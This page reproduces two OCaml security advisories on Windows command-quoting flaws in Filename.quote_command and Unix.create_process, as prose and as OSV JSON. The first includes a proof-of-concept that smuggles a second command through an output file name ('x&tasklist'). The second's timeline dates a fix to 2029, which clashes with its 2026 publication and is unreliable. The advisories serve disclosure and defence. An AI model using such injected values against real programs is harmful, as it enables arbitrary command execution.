Search

Find a vulnerability

Search criteria

    Related vulnerabilities

    OSEC-2026-05 (CVE-2026-41083)

    Vulnerability from osv_ocaml – Published: 2026-06-18 13:45 – Updated: 2026-09-10 10:45 – Source website
    VLAI
    Summary
    Windows command execution via filename quotes.
    Details

    The quoting of stdin/stdout/stderror (using Filename.quote_command) on Windows is not sufficient, and allows the & character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.

    Exploit

    $ opam exec -- ocaml
OCaml version 4.14.2
Enter #help;; for help.

# let outfile = "x&tasklist" in
  let cmd = Filename.quote_command "netsh.exe" ~stdout:outfile ["help"] in
  ignore (Sys.command cmd)
  ;;

Image Name                     PID Session Name        Session#    Mem Usage
========================= ======== ================ =========== ============
System Idle Process              0 Services                   0          8 K
System                           4 Services                   0        168 K
Secure System                  236 Services                   0    191,468 K
Registry                       276 Services                   0      3,428 K
smss.exe                       608 Services                   0      1,676 K
csrss.exe                      984 Services                   0      5,928 K

    Timeline

    • 2026-06-18 release of this security advisory
    • 2026-06-15 release of OCaml 4.14.4
    • 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853
    • 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org
    Severity
    6.1 (Medium)
    CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N
    Credits
    Andrew Nesbitt
    David Allsopp
    Florian Angeletti
    Hannes Mehnert
    References
    To clipboard 

    {
  "affected": [
    {
      "ecosystem_specific": {
        "opam_constraint": "ocaml {\u003c \"4.14.4\" | \u003e= \"5\" \u0026 \u003c \"5.5.0\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "ocaml",
        "purl": "pkg:opam/ocaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.14.4"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "5"
            },
            {
              "fixed": "5.5.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.07",
        "3.07+1",
        "3.07+2",
        "3.08.0",
        "3.08.1",
        "3.08.2",
        "3.08.3",
        "3.08.4",
        "3.09.0",
        "3.09.1",
        "3.09.2",
        "3.09.3",
        "3.10.0",
        "3.10.1",
        "3.10.2",
        "3.11.0",
        "3.11.1",
        "3.11.2",
        "3.12.0",
        "3.12.1",
        "4.00.0",
        "4.00.1",
        "4.01.0",
        "4.02.0",
        "4.02.1",
        "4.02.2",
        "4.02.3",
        "4.02.4",
        "4.03.0",
        "4.03.1",
        "4.04.0",
        "4.04.1",
        "4.04.2",
        "4.04.3",
        "4.05.0",
        "4.05.1",
        "4.06.0",
        "4.06.1",
        "4.06.2",
        "4.07.0",
        "4.07.1",
        "4.07.2",
        "4.08.0",
        "4.08.1",
        "4.08.2",
        "4.09.0",
        "4.09.1",
        "4.09.2",
        "4.10.0",
        "4.10.1",
        "4.10.2",
        "4.10.3",
        "4.11.0",
        "4.11.1",
        "4.11.2",
        "4.11.3",
        "4.12.0",
        "4.12.1",
        "4.12.2",
        "4.13.0",
        "4.13.1",
        "4.13.2",
        "4.14.0",
        "4.14.1",
        "4.14.2",
        "4.14.3",
        "5.0.0",
        "5.0.1",
        "5.1.0",
        "5.1.1",
        "5.1.2",
        "5.2.0",
        "5.2.1",
        "5.2.2",
        "5.3.0",
        "5.3.1",
        "5.4.0",
        "5.4.1",
        "5.4.2"
      ]
    },
    {
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "ce6d0f7b67145debec57e296dcc49d8619259198"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "39d3f110eab62ab9f3013bb5f084af2dc3e3bb08"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "d5c65dc0034fbd75f10c6b54028e8b2740a7b189"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41083"
  ],
  "credits": [
    {
      "name": "Andrew Nesbitt",
      "type": "REPORTER"
    },
    {
      "name": "David Allsopp",
      "type": "REMEDIATION_DEVELOPER"
    },
    {
      "name": "Florian Angeletti",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-78"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-05.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-05.json"
  },
  "details": "The quoting of stdin/stdout/stderror (using `Filename.quote_command`) on Windows is not sufficient, and allows the `\u0026` character to be passed through. This allows an attacker to inject a shell command if they can specify the stdin/stdout/stderr of a program to be executed.\n\n## Exploit\n\n```bash\n$ opam exec -- ocaml\nOCaml version 4.14.2\nEnter #help;; for help.\n\n# let outfile = \"x\u0026tasklist\" in\n  let cmd = Filename.quote_command \"netsh.exe\" ~stdout:outfile [\"help\"] in\n  ignore (Sys.command cmd)\n  ;;\n\nImage Name                     PID Session Name        Session#    Mem Usage\n========================= ======== ================ =========== ============\nSystem Idle Process              0 Services                   0          8 K\nSystem                           4 Services                   0        168 K\nSecure System                  236 Services                   0    191,468 K\nRegistry                       276 Services                   0      3,428 K\nsmss.exe                       608 Services                   0      1,676 K\ncsrss.exe                      984 Services                   0      5,928 K\n```\n\n## Timeline\n\n- 2026-06-18 release of this security advisory\n- 2026-06-15 release of OCaml 4.14.4\n- 2026-06-08 fix by David Allsopp https://github.com/ocaml/ocaml/pull/14853\n- 2026-04-11 reported by Anil Madhavapeddy, forwarded from Andrew Nesbitt to security@ocaml.org",
  "id": "OSEC-2026-05",
  "modified": "2026-09-10T10:45:00Z",
  "published": "2026-06-18T13:45:00Z",
  "references": [
    {
      "type": "FIX",
      "url": "https://github.com/ocaml/ocaml/pull/14853"
    }
  ],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Windows command execution via filename quotes."
}

    OSEC-2026-24 (CVE-2026-41083)

    Vulnerability from osv_ocaml – Published: 2026-10-23 21:30 – Updated: 2026-11-06 12:30 – Source website
    VLAI
    Summary
    Multiple issues in command quoting on Windows
    Details

    ANT-2026-R7FKP7RG Win32 quote_cmd_filename misses pipe/redirect metacharacters

    ANT-2026-SRZZ62SD Windows batch-file argument injection via maybe_quote/make_cmdline

    ANT-2026-JPEWMPAB Win32 argument quoting leaves embedded CR/LF unescaped

    Also includes the fix for OSEC-2026-05

    Filename.quote_command returns a quoted command line, suitable for use as an argument to Sys.command, Unix.system, and the Unix.open_process functions. However on Windows certain characters weren't properly escaped.

    Unix.create_process can invoke .bat or .cmd programs on Windows, and certain characters were accepted that cannot be quoted safely.

    Fix

    Filename.quote_command has been updated to correctly quote arguments. Unix.create_process* has been updated to reject arguments that cannot be safely quoted by raising Failure:

    if the program [prog] is a [.bat] or [.cmd] script and either [prog] or [args] contain characters that cannot be securely passed to a script, such as [" | & , ; < = > ^ % "]. If you really need to pass these characters to a script, consider using {!Unix.system} instead.

    Am I affected?

    If you use Filename.quote_command on Windows with user supplied arguments. If you use Unix.create_process* or Unix.open_process* on Windows with .bat or .cmd programs, and user supplied arguments.

    Timeline

    • 2026-08-24: vulnerability was found
    • 2026-08-27: forwarded report to security@ocaml.org
    • 2029-09-05: fix merged to trunk
    Severity
    7.3 (High)
    CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
    Credits
    Anthropic
    Hannes Mehnert
    Edwin Török
    Nicolás Ojeda Bär
    Xavier Leroy
    To clipboard 

    {
  "affected": [
    {
      "ecosystem_specific": {
        "affected_bindings": [
          "Filename.quote_command",
          "Unix.create_process",
          "Unix.create_process_env",
          "Unix.open_process_args_in",
          "Unix.open_process_args_out",
          "Unix.open_process_args_full"
        ],
        "opam_constraint": "ocaml {\u003c \"4.14.5\" | \u003e= \"5\" \u0026 \u003c \"5.5.2\"}"
      },
      "package": {
        "ecosystem": "opam",
        "name": "ocaml",
        "purl": "pkg:opam/ocaml"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.14.5"
            }
          ],
          "type": "ECOSYSTEM"
        },
        {
          "events": [
            {
              "introduced": "5"
            },
            {
              "fixed": "5.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.07",
        "3.07+1",
        "3.07+2",
        "3.08.0",
        "3.08.1",
        "3.08.2",
        "3.08.3",
        "3.08.4",
        "3.09.0",
        "3.09.1",
        "3.09.2",
        "3.09.3",
        "3.10.0",
        "3.10.1",
        "3.10.2",
        "3.11.0",
        "3.11.1",
        "3.11.2",
        "3.12.0",
        "3.12.1",
        "4.00.0",
        "4.00.1",
        "4.01.0",
        "4.02.0",
        "4.02.1",
        "4.02.2",
        "4.02.3",
        "4.02.4",
        "4.03.0",
        "4.03.1",
        "4.04.0",
        "4.04.1",
        "4.04.2",
        "4.04.3",
        "4.05.0",
        "4.05.1",
        "4.06.0",
        "4.06.1",
        "4.06.2",
        "4.07.0",
        "4.07.1",
        "4.07.2",
        "4.08.0",
        "4.08.1",
        "4.08.2",
        "4.09.0",
        "4.09.1",
        "4.09.2",
        "4.10.0",
        "4.10.1",
        "4.10.2",
        "4.10.3",
        "4.11.0",
        "4.11.1",
        "4.11.2",
        "4.11.3",
        "4.12.0",
        "4.12.1",
        "4.12.2",
        "4.13.0",
        "4.13.1",
        "4.13.2",
        "4.14.0",
        "4.14.1",
        "4.14.2",
        "4.14.3",
        "4.14.4",
        "5.0.0",
        "5.0.1",
        "5.1.0",
        "5.1.1",
        "5.1.2",
        "5.2.0",
        "5.2.1",
        "5.2.2",
        "5.3.0",
        "5.3.1",
        "5.4.0",
        "5.4.1",
        "5.4.2",
        "5.5.0",
        "5.5.1"
      ]
    },
    {
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "70a3a75c0bfb23d67ad5fe3e9c1ba9800d61feae"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0bbf8e5af985feb03a11a5ffe57d068373d09fd0"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        },
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "7a2a148bd17158c822235b29b024526629154901"
            }
          ],
          "repo": "https://github.com/ocaml/ocaml",
          "type": "GIT"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41083"
  ],
  "credits": [
    {
      "name": "Anthropic",
      "type": "REPORTER"
    },
    {
      "name": "Hannes Mehnert",
      "type": "COORDINATOR"
    },
    {
      "name": "Edwin T\u00f6r\u00f6k",
      "type": "COORDINATOR"
    },
    {
      "name": "Nicol\u00e1s Ojeda B\u00e4r",
      "type": "REMEDIATION_REVIEWER"
    },
    {
      "name": "Xavier Leroy",
      "type": "REMEDIATION_DEVELOPER"
    }
  ],
  "database_specific": {
    "cwe": [
      "CWE-78"
    ],
    "human_link": "https://github.com/ocaml/security-advisories/tree/main/advisories/2026/OSEC-2026-24.md",
    "osv": "https://github.com/ocaml/security-advisories/tree/generated-osv/2026/OSEC-2026-24.json"
  },
  "details": "ANT-2026-R7FKP7RG Win32 quote_cmd_filename misses pipe/redirect metacharacters\n\nANT-2026-SRZZ62SD Windows batch-file argument injection via maybe_quote/make_cmdline\n\nANT-2026-JPEWMPAB Win32 argument quoting leaves embedded CR/LF unescaped\n\nAlso includes the fix for [OSEC-2026-05](https://osv.dev/vulnerability/OSEC-2026-05)\n\n`Filename.quote_command` returns a quoted command line, suitable for use as an argument to `Sys.command`, `Unix.system`, and the `Unix.open_process` functions.\nHowever on Windows certain characters weren\u0027t properly escaped.\n\n`Unix.create_process` can invoke `.bat` or `.cmd` programs on Windows, and certain characters were accepted that cannot be quoted safely.\n\n## Fix\n\n`Filename.quote_command` has been updated to correctly quote arguments.\n`Unix.create_process*` has been updated to reject arguments that cannot be safely quoted by raising `Failure`:\n\u003e  if the program [prog] is a [.bat] or [.cmd]\n\u003e  script and either [prog] or [args] contain characters that cannot be\n\u003e  securely passed to a script, such as [\" | \u0026 , ; \u003c = \u003e ^ % \"].\n\u003e  If you really need to pass these characters to a script, consider\n\u003e  using {!Unix.system} instead.\n\n## Am I affected?\n\nIf you use `Filename.quote_command` on Windows with user supplied arguments.\nIf you use `Unix.create_process*` or `Unix.open_process*` on Windows with `.bat` or `.cmd` programs, and user supplied arguments.\n\n## Timeline\n\n- 2026-08-24: vulnerability was found\n- 2026-08-27: forwarded report to security@ocaml.org\n- 2029-09-05: fix merged to trunk",
  "id": "OSEC-2026-24",
  "modified": "2026-11-06T12:30:00Z",
  "published": "2026-10-23T21:30:00Z",
  "references": [],
  "schema_version": "1.7.4",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Multiple issues in command quoting on Windows"
}